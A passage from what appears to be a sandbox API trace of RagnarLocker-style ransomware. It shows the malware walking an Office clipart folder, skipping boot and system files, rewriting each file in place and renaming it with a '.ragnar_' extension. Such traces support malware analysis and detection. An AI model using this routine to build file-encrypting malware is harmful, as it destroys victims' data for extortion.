lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc38, lpOverlapped=0x0) returned 1 [0082.390] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.390] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc38, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.390] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc38, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc38, lpOverlapped=0x0) returned 1 [0082.390] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.390] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.390] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.390] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.390] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.390] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.390] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.390] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.391] GetProcessHeap () returned 0x580000 [0082.391] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.391] CloseHandle (hObject=0xf4) returned 1 [0082.391] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" [0082.391] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.ragnar_FD7BD9FC" [0082.391] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.391] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0082.391] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.391] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FINCL_01.MID" | out: lpString1="FINCL_01.MID") returned="FINCL_01.MID" [0082.391] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned=".MID" [0082.391] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.391] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="autorun.inf") returned 1 [0082.391] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="boot.ini") returned 1 [0082.391] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="bootfont.bin") returned 1 [0082.391] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="bootsect.bak") returned 1 [0082.392] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="bootmgr") returned 1 [0082.392] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="bootmgr.efi") returned 1 [0082.392] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="bootmgfw.efi") returned 1 [0082.392] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="desktop.ini") returned 1 [0082.392] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="iconcache.db") returned -1 [0082.392] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="ntldr") returned -1 [0082.392] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="ntuser.dat") returned -1 [0082.392] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="ntuser.dat.log") returned -1 [0082.392] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="ntuser.ini") returned -1 [0082.392] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="thumbs.db") returned -1 [0082.392] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0082.392] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0082.392] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0082.392] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0082.392] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0082.392] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0082.392] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0082.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 0x20 [0082.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.393] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12981) returned 1 [0082.393] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x32ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.393] GetProcessHeap () returned 0x580000 [0082.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.393] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.394] VirtualAlloc (lpAddress=0x0, dwSize=0x32b5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.395] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.395] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.395] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x32b5, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x32b5, lpOverlapped=0x0) returned 1 [0082.396] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.396] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x32b5, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.396] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x32b5, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x32b5, lpOverlapped=0x0) returned 1 [0082.396] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x32b5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.396] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.396] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x32b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.396] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.396] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.397] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.397] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.397] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.397] GetProcessHeap () returned 0x580000 [0082.397] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.397] CloseHandle (hObject=0xf4) returned 1 [0082.397] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" [0082.397] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.ragnar_FD7BD9FC" [0082.397] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.397] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1 [0082.398] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.398] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FINCL_02.MID" | out: lpString1="FINCL_02.MID") returned="FINCL_02.MID" [0082.398] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned=".MID" [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="autorun.inf") returned 1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="boot.ini") returned 1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="bootfont.bin") returned 1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="bootsect.bak") returned 1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="bootmgr") returned 1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="bootmgr.efi") returned 1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="bootmgfw.efi") returned 1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="desktop.ini") returned 1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="iconcache.db") returned -1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="ntldr") returned -1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="ntuser.dat") returned -1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="ntuser.dat.log") returned -1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="ntuser.ini") returned -1 [0082.398] lstrcmpiW (lpString1="FINCL_02.MID", lpString2="thumbs.db") returned -1 [0082.398] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0082.398] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0082.398] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0082.398] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0082.398] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0082.398] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0082.398] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0082.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 0x20 [0082.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.399] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9318) returned 1 [0082.399] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x245d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.399] GetProcessHeap () returned 0x580000 [0082.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.399] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.401] VirtualAlloc (lpAddress=0x0, dwSize=0x2466, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.401] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.401] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.401] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2466, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2466, lpOverlapped=0x0) returned 1 [0082.402] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.402] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2466, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.402] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2466, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2466, lpOverlapped=0x0) returned 1 [0082.402] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2466, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.402] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.402] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2466, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.402] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.402] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.403] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.403] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.403] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.403] GetProcessHeap () returned 0x580000 [0082.403] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.403] CloseHandle (hObject=0xf4) returned 1 [0082.403] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" [0082.403] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.ragnar_FD7BD9FC" [0082.403] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.403] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1 [0082.403] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.403] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FLAP.WMF" | out: lpString1="FLAP.WMF") returned="FLAP.WMF" [0082.404] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned=".WMF" [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="autorun.inf") returned 1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="boot.ini") returned 1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="bootfont.bin") returned 1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="bootsect.bak") returned 1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="bootmgr") returned 1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="bootmgr.efi") returned 1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="bootmgfw.efi") returned 1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="desktop.ini") returned 1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="iconcache.db") returned -1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="ntldr") returned -1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="ntuser.dat") returned -1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="ntuser.dat.log") returned -1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="ntuser.ini") returned -1 [0082.404] lstrcmpiW (lpString1="FLAP.WMF", lpString2="thumbs.db") returned -1 [0082.404] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.404] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.404] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.404] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.404] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.404] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.404] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf")) returned 0x20 [0082.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.405] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2070) returned 1 [0082.405] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x80d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.405] GetProcessHeap () returned 0x580000 [0082.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.405] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.406] VirtualAlloc (lpAddress=0x0, dwSize=0x816, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.407] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.407] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.407] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x816, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x816, lpOverlapped=0x0) returned 1 [0082.407] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.407] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x816, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.407] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x816, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x816, lpOverlapped=0x0) returned 1 [0082.407] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x816, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.407] VirtualFree 